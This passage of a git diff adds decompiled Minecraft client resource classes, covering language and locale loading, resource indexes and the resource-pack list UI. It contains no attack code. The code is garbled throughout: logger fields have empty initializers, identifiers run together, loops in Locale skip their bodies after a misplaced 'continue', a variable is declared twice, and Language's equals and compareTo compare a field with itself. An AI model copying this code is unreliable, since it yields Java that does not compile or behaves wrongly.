+  private static final ResourceLocation field_130079_a = new ResourceLocation("textures/colormap/foliage.png");
+  private static final String __OBFID = "CL_00001077";
+  
+  public FoliageColorReloadListener() {}
+  
+  public void onResourceManagerReload(IResourceManager p_110549_1_) {
+    try {
+      ColorizerFoliage.setFoliageBiomeColorizer(TextureUtil.readImageData(p_110549_1_, field_130079_a));
+    }
+    catch (IOException localIOException) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/GrassColorReloadListener.java b/src/minecraft/net/minecraft/client/resources/GrassColorReloadListener.java
new file mode 100644
index 0000000..679419a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/GrassColorReloadListener.java
@@ -0,0 +1,21 @@
+package net.minecraft.client.resources;
+
+import java.io.IOException;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.ColorizerGrass;
+
+public class GrassColorReloadListener implements IResourceManagerReloadListener
+{
+  private static final ResourceLocation field_130078_a = new ResourceLocation("textures/colormap/grass.png");
+  private static final String __OBFID = "CL_00001078";
+  
+  public GrassColorReloadListener() {}
+  
+  public void onResourceManagerReload(IResourceManager p_110549_1_) {
+    try {
+      ColorizerGrass.setGrassBiomeColorizer(TextureUtil.readImageData(p_110549_1_, field_130078_a));
+    }
+    catch (IOException localIOException) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/I18n.java b/src/minecraft/net/minecraft/client/resources/I18n.java
new file mode 100644
index 0000000..c2c6c56
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/I18n.java
@@ -0,0 +1,26 @@
+package net.minecraft.client.resources;
+
+import java.util.Map;
+
+public class I18n {
+  private static Locale i18nLocale;
+  
+  public I18n() {}
+  
+  static void setLocale(Locale p_135051_0_) {
+    i18nLocale = p_135051_0_;
+  }
+  
+
+
+
+  public static String format(String p_135052_0_, Object... p_135052_1_)
+  {
+    return i18nLocale.formatMessage(p_135052_0_, p_135052_1_);
+  }
+  
+  public static Map getLocaleProperties()
+  {
+    return i18nLocalefield_135032_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/IReloadableResourceManager.java b/src/minecraft/net/minecraft/client/resources/IReloadableResourceManager.java
new file mode 100644
index 0000000..6af2b42
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/IReloadableResourceManager.java
@@ -0,0 +1,11 @@
+package net.minecraft.client.resources;
+
+import java.util.List;
+
+public abstract interface IReloadableResourceManager
+  extends IResourceManager
+{
+  public abstract void reloadResources(List paramList);
+  
+  public abstract void registerReloadListener(IResourceManagerReloadListener paramIResourceManagerReloadListener);
+}
diff --git a/src/minecraft/net/minecraft/client/resources/IResource.java b/src/minecraft/net/minecraft/client/resources/IResource.java
new file mode 100644
index 0000000..65c6859
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/IResource.java
@@ -0,0 +1,18 @@
+package net.minecraft.client.resources;
+
+import java.io.InputStream;
+import net.minecraft.client.resources.data.IMetadataSection;
+import net.minecraft.util.ResourceLocation;
+
+public abstract interface IResource
+{
+  public abstract ResourceLocation func_177241_a();
+  
+  public abstract InputStream getInputStream();
+  
+  public abstract boolean hasMetadata();
+  
+  public abstract IMetadataSection getMetadata(String paramString);
+  
+  public abstract String func_177240_d();
+}
diff --git a/src/minecraft/net/minecraft/client/resources/IResourceManager.java b/src/minecraft/net/minecraft/client/resources/IResourceManager.java
new file mode 100644
index 0000000..cd0cdc0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/IResourceManager.java
@@ -0,0 +1,17 @@
+package net.minecraft.client.resources;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.util.ResourceLocation;
+
+public abstract interface IResourceManager
+{
+  public abstract Set getResourceDomains();
+  
+  public abstract IResource getResource(ResourceLocation paramResourceLocation)
+    throws IOException;
+  
+  public abstract List getAllResources(ResourceLocation paramResourceLocation)
+    throws IOException;
+}
diff --git a/src/minecraft/net/minecraft/client/resources/IResourceManagerReloadListener.java b/src/minecraft/net/minecraft/client/resources/IResourceManagerReloadListener.java
new file mode 100644
index 0000000..30b0c7f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/IResourceManagerReloadListener.java
@@ -0,0 +1,6 @@
+package net.minecraft.client.resources;
+
+public abstract interface IResourceManagerReloadListener
+{
+  public abstract void onResourceManagerReload(IResourceManager paramIResourceManager);
+}
diff --git a/src/minecraft/net/minecraft/client/resources/IResourcePack.java b/src/minecraft/net/minecraft/client/resources/IResourcePack.java
new file mode 100644
index 0000000..b04b3f8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/IResourcePack.java
@@ -0,0 +1,27 @@
+package net.minecraft.client.resources;
+
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Set;
+import net.minecraft.client.resources.data.IMetadataSection;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+
+public abstract interface IResourcePack
+{
+  public abstract InputStream getInputStream(ResourceLocation paramResourceLocation)
+    throws IOException;
+  
+  public abstract boolean resourceExists(ResourceLocation paramResourceLocation);
+  
+  public abstract Set getResourceDomains();
+  
+  public abstract IMetadataSection getPackMetadata(IMetadataSerializer paramIMetadataSerializer, String paramString)
+    throws IOException;
+  
+  public abstract BufferedImage getPackImage()
+    throws IOException;
+  
+  public abstract String getPackName();
+}
diff --git a/src/minecraft/net/minecraft/client/resources/Language.java b/src/minecraft/net/minecraft/client/resources/Language.java
new file mode 100644
index 0000000..e4cde69
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/Language.java
@@ -0,0 +1,53 @@
+package net.minecraft.client.resources;
+
+public class Language implements Comparable
+{
+  private final String languageCode;
+  private final String region;
+  private final String name;
+  private final boolean bidirectional;
+  private static final String __OBFID = "CL_00001095";
+  
+  public Language(String p_i1303_1_, String p_i1303_2_, String p_i1303_3_, boolean p_i1303_4_)
+  {
+    languageCode = p_i1303_1_;
+    region = p_i1303_2_;
+    name = p_i1303_3_;
+    bidirectional = p_i1303_4_;
+  }
+  
+  public String getLanguageCode()
+  {
+    return languageCode;
+  }
+  
+  public boolean isBidirectional()
+  {
+    return bidirectional;
+  }
+  
+  public String toString()
+  {
+    return String.format("%s (%s)", new Object[] { name, region });
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return !(p_equals_1_ instanceof Language) ? false : this == p_equals_1_ ? true : languageCode.equals(languageCode);
+  }
+  
+  public int hashCode()
+  {
+    return languageCode.hashCode();
+  }
+  
+  public int compareTo(Language p_compareTo_1_)
+  {
+    return languageCode.compareTo(languageCode);
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((Language)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/LanguageManager.java b/src/minecraft/net/minecraft/client/resources/LanguageManager.java
new file mode 100644
index 0000000..bf3e9d4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/LanguageManager.java
@@ -0,0 +1,110 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.SortedSet;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.client.resources.data.LanguageMetadataSection;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class LanguageManager implements IResourceManagerReloadListener
+{
+  private static final Logger logger = ;
+  private final IMetadataSerializer theMetadataSerializer;
+  private String currentLanguage;
+  protected static final Locale currentLocale = new Locale();
+  private Map languageMap = Maps.newHashMap();
+  private static final String __OBFID = "CL_00001096";
+  
+  public LanguageManager(IMetadataSerializer p_i1304_1_, String p_i1304_2_)
+  {
+    theMetadataSerializer = p_i1304_1_;
+    currentLanguage = p_i1304_2_;
+    I18n.setLocale(currentLocale);
+  }
+  
+  public void parseLanguageMetadata(List p_135043_1_)
+  {
+    languageMap.clear();
+    Iterator var2 = p_135043_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      IResourcePack var3 = (IResourcePack)var2.next();
+      
+      try
+      {
+        LanguageMetadataSection var4 = (LanguageMetadataSection)var3.getPackMetadata(theMetadataSerializer, "language");
+        
+        if (var4 != null)
+        {
+          Iterator var5 = var4.getLanguages().iterator();
+          
+          while (var5.hasNext())
+          {
+            Language var6 = (Language)var5.next();
+            
+            if (!languageMap.containsKey(var6.getLanguageCode()))
+            {
+              languageMap.put(var6.getLanguageCode(), var6);
+            }
+          }
+        }
+      }
+      catch (RuntimeException var7)
+      {
+        logger.warn("Unable to parse metadata section of resourcepack: " + var3.getPackName(), var7);
+      }
+      catch (IOException var8)
+      {
+        logger.warn("Unable to parse metadata section of resourcepack: " + var3.getPackName(), var8);
+      }
+    }
+  }
+  
+  public void onResourceManagerReload(IResourceManager p_110549_1_)
+  {
+    ArrayList var2 = Lists.newArrayList(new String[] { "en_US" });
+    
+    if (!"en_US".equals(currentLanguage))
+    {
+      var2.add(currentLanguage);
+    }
+    
+    currentLocale.loadLocaleDataFiles(p_110549_1_, var2);
+    net.minecraft.util.StringTranslate.replaceWith(currentLocalefield_135032_a);
+  }
+  
+  public boolean isCurrentLocaleUnicode()
+  {
+    return currentLocale.isUnicode();
+  }
+  
+  public boolean isCurrentLanguageBidirectional()
+  {
+    return (getCurrentLanguage() != null) && (getCurrentLanguage().isBidirectional());
+  }
+  
+  public void setCurrentLanguage(Language p_135045_1_)
+  {
+    currentLanguage = p_135045_1_.getLanguageCode();
+  }
+  
+  public Language getCurrentLanguage()
+  {
+    return languageMap.containsKey(currentLanguage) ? (Language)languageMap.get(currentLanguage) : (Language)languageMap.get("en_US");
+  }
+  
+  public SortedSet getLanguages()
+  {
+    return Sets.newTreeSet(languageMap.values());
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/Locale.java b/src/minecraft/net/minecraft/client/resources/Locale.java
new file mode 100644
index 0000000..2148010
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/Locale.java
@@ -0,0 +1,176 @@
+package net.minecraft.client.resources;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Collection;
+import java.util.IllegalFormatException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import org.apache.commons.io.Charsets;
+import org.apache.commons.io.IOUtils;
+
+public class Locale
+{
+  private static final Splitter splitter = Splitter.on('=').limit(2);
+  private static final Pattern field_135031_c = Pattern.compile("%(\\d+\\$)?[\\d\\.]*[df]");
+  Map field_135032_a = Maps.newHashMap();
+  
+  private boolean field_135029_d;
+  private static final String __OBFID = "CL_00001097";
+  
+  public Locale() {}
+  
+  public synchronized void loadLocaleDataFiles(IResourceManager p_135022_1_, List p_135022_2_)
+  {
+    field_135032_a.clear();
+    Iterator var3 = p_135022_2_.iterator();
+    Iterator var6;
+    for (; var3.hasNext(); 
+        
+
+
+
+
+        var6.hasNext())
+    {
+      String var4 = (String)var3.next();
+      String var5 = String.format("lang/%s.lang", new Object[] { var4 });
+      var6 = p_135022_1_.getResourceDomains().iterator();
+      
+      continue;
+      
+      String var7 = (String)var6.next();
+      
+      try
+      {
+        loadLocaleData(p_135022_1_.getAllResources(new net.minecraft.util.ResourceLocation(var7, var5)));
+      }
+      catch (IOException localIOException) {}
+    }
+    
+
+
+
+
+    checkUnicode();
+  }
+  
+  public boolean isUnicode()
+  {
+    return field_135029_d;
+  }
+  
+  private void checkUnicode()
+  {
+    field_135029_d = false;
+    int var1 = 0;
+    int var2 = 0;
+    Iterator var3 = field_135032_a.values().iterator();
+    int var5;
+    int var6; for (; var3.hasNext(); 
+        
+
+
+
+
+        var6 < var5)
+    {
+      String var4 = (String)var3.next();
+      var5 = var4.length();
+      var2 += var5;
+      
+      var6 = 0; continue;
+      
+      if (var4.charAt(var6) >= 'Ā')
+      {
+        var1++;
+      }
+      var6++;
+    }
+    
+
+
+
+
+
+
+    float var7 = var1 / var2;
+    field_135029_d = (var7 > 0.1D);
+  }
+  
+
+
+  private void loadLocaleData(List p_135028_1_)
+    throws IOException
+  {
+    Iterator var2 = p_135028_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      IResource var3 = (IResource)var2.next();
+      InputStream var4 = var3.getInputStream();
+      
+      try
+      {
+        loadLocaleData(var4);
+      }
+      finally
+      {
+        IOUtils.closeQuietly(var4);
+      }
+    }
+  }
+  
+  private void loadLocaleData(InputStream p_135021_1_) throws IOException
+  {
+    Iterator var2 = IOUtils.readLines(p_135021_1_, Charsets.UTF_8).iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      
+      if ((!var3.isEmpty()) && (var3.charAt(0) != '#'))
+      {
+        String[] var4 = (String[])com.google.common.collect.Iterables.toArray(splitter.split(var3), String.class);
+        
+        if ((var4 != null) && (var4.length == 2))
+        {
+          String var5 = var4[0];
+          String var6 = field_135031_c.matcher(var4[1]).replaceAll("%$1s");
+          field_135032_a.put(var5, var6);
+        }
+      }
+    }
+  }
+  
+
+
+
+  private String translateKeyPrivate(String p_135026_1_)
+  {
+    String var2 = (String)field_135032_a.get(p_135026_1_);
+    return var2 == null ? p_135026_1_ : var2;
+  }
+  
+
+
+
+  public String formatMessage(String p_135023_1_, Object[] p_135023_2_)
+  {
+    String var3 = translateKeyPrivate(p_135023_1_);
+    
+    try
+    {
+      return String.format(var3, p_135023_2_);
+    }
+    catch (IllegalFormatException var5) {}
+    
+    return "Format error: " + var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourceIndex.java b/src/minecraft/net/minecraft/client/resources/ResourceIndex.java
new file mode 100644
index 0000000..11f6a77
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourceIndex.java
@@ -0,0 +1,76 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonParser;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.util.JsonUtils;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ResourceIndex
+{
+  private static final Logger field_152783_a = ;
+  private final Map field_152784_b = Maps.newHashMap();
+  private static final String __OBFID = "CL_00001831";
+  
+  public ResourceIndex(File p_i1047_1_, String p_i1047_2_)
+  {
+    if (p_i1047_2_ != null)
+    {
+      File var3 = new File(p_i1047_1_, "objects");
+      File var4 = new File(p_i1047_1_, "indexes/" + p_i1047_2_ + ".json");
+      BufferedReader var5 = null;
+      
+      try
+      {
+        var5 = Files.newReader(var4, com.google.common.base.Charsets.UTF_8);
+        JsonObject var6 = new JsonParser().parse(var5).getAsJsonObject();
+        JsonObject var7 = JsonUtils.getJsonObjectFieldOrDefault(var6, "objects", null);
+        
+        if (var7 != null)
+        {
+          Iterator var8 = var7.entrySet().iterator();
+          
+          while (var8.hasNext())
+          {
+            Map.Entry var9 = (Map.Entry)var8.next();
+            JsonObject var10 = (JsonObject)var9.getValue();
+            String var11 = (String)var9.getKey();
+            String[] var12 = var11.split("/", 2);
+            String var13 = var12[0] + ":" + var12[1];
+            String var14 = JsonUtils.getJsonObjectStringFieldValue(var10, "hash");
+            File var15 = new File(var3, var14.substring(0, 2) + "/" + var14);
+            field_152784_b.put(var13, var15);
+          }
+        }
+      }
+      catch (JsonParseException var20)
+      {
+        field_152783_a.error("Unable to parse resource index file: " + var4);
+      }
+      catch (FileNotFoundException var21)
+      {
+        field_152783_a.error("Can't find the resource index file: " + var4);
+      }
+      finally
+      {
+        IOUtils.closeQuietly(var5);
+      }
+    }
+  }
+  
+  public Map func_152782_a()
+  {
+    return field_152784_b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourcePackFileNotFoundException.java b/src/minecraft/net/minecraft/client/resources/ResourcePackFileNotFoundException.java
new file mode 100644
index 0000000..ad3a0a7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourcePackFileNotFoundException.java
@@ -0,0 +1,14 @@
+package net.minecraft.client.resources;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+public class ResourcePackFileNotFoundException extends FileNotFoundException
+{
+  private static final String __OBFID = "CL_00001086";
+  
+  public ResourcePackFileNotFoundException(File p_i1294_1_, String p_i1294_2_)
+  {
+    super(String.format("'%s' in ResourcePack '%s'", new Object[] { p_i1294_2_, p_i1294_1_ }));
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourcePackListEntry.java b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntry.java
new file mode 100644
index 0000000..02c240c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntry.java
@@ -0,0 +1,195 @@
+package net.minecraft.client.resources;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.GuiScreenResourcePacks;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.util.ResourceLocation;
+
+public abstract class ResourcePackListEntry implements net.minecraft.client.gui.GuiListExtended.IGuiListEntry
+{
+  private static final ResourceLocation field_148316_c = new ResourceLocation("textures/gui/resource_packs.png");
+  protected final Minecraft field_148317_a;
+  protected final GuiScreenResourcePacks field_148315_b;
+  private static final String __OBFID = "CL_00000821";
+  
+  public ResourcePackListEntry(GuiScreenResourcePacks p_i45051_1_)
+  {
+    field_148315_b = p_i45051_1_;
+    field_148317_a = Minecraft.getMinecraft();
+  }
+  
+  public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+  {
+    func_148313_c();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 0.0F, 32, 32, 32.0F, 32.0F);
+    
+
+    if (((field_148317_a.gameSettings.touchscreen) || (isSelected)) && (func_148310_d()))
+    {
+      field_148317_a.getTextureManager().bindTexture(field_148316_c);
+      Gui.drawRect(x, y, x + 32, y + 32, -1601138544);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      int var9 = mouseX - x;
+      int var10 = mouseY - y;
+      
+      if (func_148309_e())
+      {
+        if (var9 < 32)
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+        }
+        else
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+        }
+      }
+      else
+      {
+        if (func_148308_f())
+        {
+          if (var9 < 16)
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 32.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+          }
+          else
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 32.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+          }
+        }
+        
+        if (func_148314_g())
+        {
+          if ((var9 < 32) && (var9 > 16) && (var10 < 16))
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 96.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+          }
+          else
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 96.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+          }
+        }
+        
+        if (func_148307_h())
+        {
+          if ((var9 < 32) && (var9 > 16) && (var10 > 16))
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 64.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+          }
+          else
+          {
+            Gui.drawModalRectWithCustomSizedTexture(x, y, 64.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+          }
+        }
+      }
+    }
+    
+    String var13 = func_148312_b();
+    int var10 = field_148317_a.fontRendererObj.getStringWidth(var13);
+    
+    if (var10 > 157)
+    {
+      var13 = field_148317_a.fontRendererObj.trimStringToWidth(var13, 157 - field_148317_a.fontRendererObj.getStringWidth("...")) + "...";
+    }
+    
+    field_148317_a.fontRendererObj.drawStringWithShadow(var13, x + 32 + 2, y + 1, 16777215);
+    List var11 = field_148317_a.fontRendererObj.listFormattedStringToWidth(func_148311_a(), 157);
+    
+    for (int var12 = 0; (var12 < 2) && (var12 < var11.size()); var12++)
+    {
+      field_148317_a.fontRendererObj.drawStringWithShadow((String)var11.get(var12), x + 32 + 2, y + 12 + 10 * var12, 8421504);
+    }
+  }
+  
+  protected abstract String func_148311_a();
+  
+  protected abstract String func_148312_b();
+  
+  protected abstract void func_148313_c();
+  
+  protected boolean func_148310_d()
+  {
+    return true;
+  }
+  
+  protected boolean func_148309_e()
+  {
+    return !field_148315_b.hasResourcePackEntry(this);
+  }
+  
+  protected boolean func_148308_f()
+  {
+    return field_148315_b.hasResourcePackEntry(this);
+  }
+  
+  protected boolean func_148314_g()
+  {
+    List var1 = field_148315_b.func_146962_b(this);
+    int var2 = var1.indexOf(this);
+    return (var2 > 0) && (((ResourcePackListEntry)var1.get(var2 - 1)).func_148310_d());
+  }
+  
+  protected boolean func_148307_h()
+  {
+    List var1 = field_148315_b.func_146962_b(this);
+    int var2 = var1.indexOf(this);
+    return (var2 >= 0) && (var2 < var1.size() - 1) && (((ResourcePackListEntry)var1.get(var2 + 1)).func_148310_d());
+  }
+  
+
+
+
+  public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+  {
+    if ((func_148310_d()) && (p_148278_5_ <= 32))
+    {
+      if (func_148309_e())
+      {
+        field_148315_b.func_146962_b(this).remove(this);
+        field_148315_b.func_146963_h().add(0, this);
+        field_148315_b.func_175288_g();
+        return true;
+      }
+      
+      if ((p_148278_5_ < 16) && (func_148308_f()))
+      {
+        field_148315_b.func_146962_b(this).remove(this);
+        field_148315_b.func_146964_g().add(0, this);
+        field_148315_b.func_175288_g();
+        return true;
+      }
+      
+
+
+
+      if ((p_148278_5_ > 16) && (p_148278_6_ < 16) && (func_148314_g()))
+      {
+        List var7 = field_148315_b.func_146962_b(this);
+        int var8 = var7.indexOf(this);
+        var7.remove(this);
+        var7.add(var8 - 1, this);
+        field_148315_b.func_175288_g();
+        return true;
+      }
+      
+      if ((p_148278_5_ > 16) && (p_148278_6_ > 16) && (func_148307_h()))
+      {
+        List var7 = field_148315_b.func_146962_b(this);
+        int var8 = var7.indexOf(this);
+        var7.remove(this);
+        var7.add(var8 + 1, this);
+        field_148315_b.func_175288_g();
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  
+  public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY) {}
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryDefault.java b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryDefault.java
new file mode 100644
index 0000000..aaf58de
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryDefault.java
@@ -0,0 +1,103 @@
+package net.minecraft.client.resources;
+
+import com.google.gson.JsonParseException;
+import java.io.IOException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiScreenResourcePacks;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.data.PackMetadataSection;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import org.apache.logging.log4j.Logger;
+
+public class ResourcePackListEntryDefault extends ResourcePackListEntry
+{
+  private static final Logger logger = ;
+  
+
+
+
+
+
+
+  private final IResourcePack field_148320_d = field_148317_a.getResourcePackRepository().rprDefaultResourcePack;
+  private final net.minecraft.util.ResourceLocation field_148321_e;
+  private static final String __OBFID = "CL_00000822";
+  
+  public ResourcePackListEntryDefault(GuiScreenResourcePacks p_i45052_1_)
+  {
+    super(p_i45052_1_);
+    
+    DynamicTexture var2;
+    
+    try
+    {
+      var2 = new DynamicTexture(field_148320_d.getPackImage());
+    }
+    catch (IOException var4) {
+      DynamicTexture var2;
+      var2 = net.minecraft.client.renderer.texture.TextureUtil.missingTexture;
+    }
+    
+    field_148321_e = field_148317_a.getTextureManager().getDynamicTextureLocation("texturepackicon", var2);
+  }
+  
+  protected String func_148311_a()
+  {
+    try
+    {
+      PackMetadataSection var1 = (PackMetadataSection)field_148320_d.getPackMetadata(field_148317_a.getResourcePackRepository().rprMetadataSerializer, "pack");
+      
+      if (var1 != null)
+      {
+        return var1.func_152805_a().getFormattedText();
+      }
+    }
+    catch (JsonParseException var2)
+    {
+      logger.error("Couldn't load metadata info", var2);
+    }
+    catch (IOException var3)
+    {
+      logger.error("Couldn't load metadata info", var3);
+    }
+    
+    return EnumChatFormatting.RED + "Missing " + "pack.mcmeta" + " :(";
+  }
+  
+  protected boolean func_148309_e()
+  {
+    return false;
+  }
+  
+  protected boolean func_148308_f()
+  {
+    return false;
+  }
+  
+  protected boolean func_148314_g()
+  {
+    return false;
+  }
+  
+  protected boolean func_148307_h()
+  {
+    return false;
+  }
+  
+  protected String func_148312_b()
+  {
+    return "Default";
+  }
+  
+  protected void func_148313_c()
+  {
+    field_148317_a.getTextureManager().bindTexture(field_148321_e);
+  }
+  
+  protected boolean func_148310_d()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryFound.java b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryFound.java
new file mode 100644
index 0000000..ae0a688
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourcePackListEntryFound.java
@@ -0,0 +1,35 @@
+package net.minecraft.client.resources;
+
+import net.minecraft.client.gui.GuiScreenResourcePacks;
+
+public class ResourcePackListEntryFound extends ResourcePackListEntry
+{
+  private final ResourcePackRepository.Entry field_148319_c;
+  private static final String __OBFID = "CL_00000823";
+  
+  public ResourcePackListEntryFound(GuiScreenResourcePacks p_i45053_1_, ResourcePackRepository.Entry p_i45053_2_)
+  {
+    super(p_i45053_1_);
+    field_148319_c = p_i45053_2_;
+  }
+  
+  protected void func_148313_c()
+  {
+    field_148319_c.bindTexturePackIcon(field_148317_a.getTextureManager());
+  }
+  
+  protected String func_148311_a()
+  {
+    return field_148319_c.getTexturePackDescription();
+  }
+  
+  protected String func_148312_b()
+  {
+    return field_148319_c.getResourcePackName();
+  }
+  
+  public ResourcePackRepository.Entry func_148318_i()
+  {
+    return field_148319_c;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/ResourcePackRepository.java b/src/minecraft/net/minecraft/client/resources/ResourcePackRepository.java
new file mode 100644
index 0000000..a8003a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/ResourcePackRepository.java
@@ -0,0 +1,381 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+import com.google.common.hash.HashFunction;
+import com.google.common.hash.Hashing;
+import com.google.common.io.Files;
+import com.google.common.util.concurrent.FutureCallback;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+import java.awt.image.BufferedImage;
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiScreenWorking;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.client.resources.data.PackMetadataSection;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.HttpUtil;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.FileUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ResourcePackRepository
+{
+  private static final Logger field_177320_c = ;
+  private static final FileFilter resourcePackFilter = new FileFilter()
+  {
+    private static final String __OBFID = "CL_00001088";
+    
+    public boolean accept(File p_accept_1_) {
+      boolean var2 = (p_accept_1_.isFile()) && (p_accept_1_.getName().endsWith(".zip"));
+      boolean var3 = (p_accept_1_.isDirectory()) && (new File(p_accept_1_, "pack.mcmeta").isFile());
+      return (var2) || (var3);
+    }
+  };
+  private final File dirResourcepacks;
+  public final IResourcePack rprDefaultResourcePack;
+  private final File field_148534_e;
+  public final IMetadataSerializer rprMetadataSerializer;
+  private IResourcePack field_148532_f;
+  private final ReentrantLock field_177321_h = new ReentrantLock();
+  private ListenableFuture field_177322_i;
+  private List repositoryEntriesAll = Lists.newArrayList();
+  private List repositoryEntries = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001087";
+  
+  public ResourcePackRepository(File p_i45101_1_, File p_i45101_2_, IResourcePack p_i45101_3_, IMetadataSerializer p_i45101_4_, GameSettings p_i45101_5_)
+  {
+    dirResourcepacks = p_i45101_1_;
+    field_148534_e = p_i45101_2_;
+    rprDefaultResourcePack = p_i45101_3_;
+    rprMetadataSerializer = p_i45101_4_;
+    fixDirResourcepacks();
+    updateRepositoryEntriesAll();
